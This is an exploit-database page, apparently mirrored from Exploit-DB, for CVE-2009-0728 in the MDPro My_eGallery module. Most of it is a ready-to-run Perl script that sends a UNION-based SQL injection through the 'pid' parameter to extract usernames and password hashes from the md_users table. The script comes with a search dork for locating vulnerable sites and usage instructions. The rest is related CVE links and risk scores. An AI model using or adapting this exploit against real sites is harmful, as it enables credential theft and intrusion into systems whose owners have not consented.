Lucene search
+L

MDPro Module My_eGallery - 'pid' SQL Injection

🗓️ 23 Feb 2009 00:00:00Reported by StAkeRType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 99 Views

MDPro Module My_eGallery - 'pid' SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-0728
23 Feb 200900:00
circl
cve
CVE
CVE-2009-0728
24 Feb 200923:00
cve
cvelist
Cvelist
CVE-2009-0728
24 Feb 200923:00
cvelist
euvd
EUVD
EUVD-2009-0728
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-0728
24 Feb 200923:30
nvd
prion
Prion
Sql injection
24 Feb 200923:30
prion
seebug
seebug.org
MDPro My_eGallery模块pid参数SQL注入漏洞
26 Feb 200900:00
seebug
#!/usr/bin/perl

<<read;

    MDPro Module My_eGallery Remote SQL Injection Exploit
    by s3rg3770 && yeat - staker[at]hotmail[dot]it

    dork: inurl:module=My_eGallery pid
    note: works regardless of php.ini settings.

read

use IO::Socket;


my ($host,$path,$id) = @ARGV;


if (@ARGV != 3)
{
       print "\n+-------------------------------------------------------+\n".
             "\r| MDPro Module My_eGallery Remote SQL Injection Exploit |\n".
             "\r+-------------------------------------------------------+\n".
             "\rby yeat - staker[at]hotmail[dot]it\n".
             "\nUsage: perl $0 host /path/ id\n".
             "\nhost: localhost\n".
             "\rpath: /mdpro/\n".
             "\rid: 2\n";
       exit;
}
else
{
       my ($packet,$inject,$content);

       $inject = "index.php?module=My_eGallery&do=showpic&pid=-1".
                 "/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0".
                 ",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7".
                 "230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0".
                 ",0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/*";

       $socket = new IO::Socket::INET(
                                       PeerAddr => $host,
                                       PeerPort => 80,
                                       Proto    => 'tcp'
                                     ) or die $!;


       $packet .= "GET /$inject HTTP/1.1\r\n";
       $packet .= "Host: $host\r\n";
       $packet .= "User-Agent: Lynx (textmode)\r\n";
       $packet .= "Connection: close\r\n\r\n";

       $socket->send($packet);

       while (<$socket>) {
          $content .= $_;
       }

       close($socket);

       if ($content =~ /<r0x>(.+?)<r0x>/i) {
          print "Exploit Successful: $1\n";
       }
       else {
          print "Exploit Failed.\n";
       }
}

# milw0rm.com [2009-02-23]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.0095
99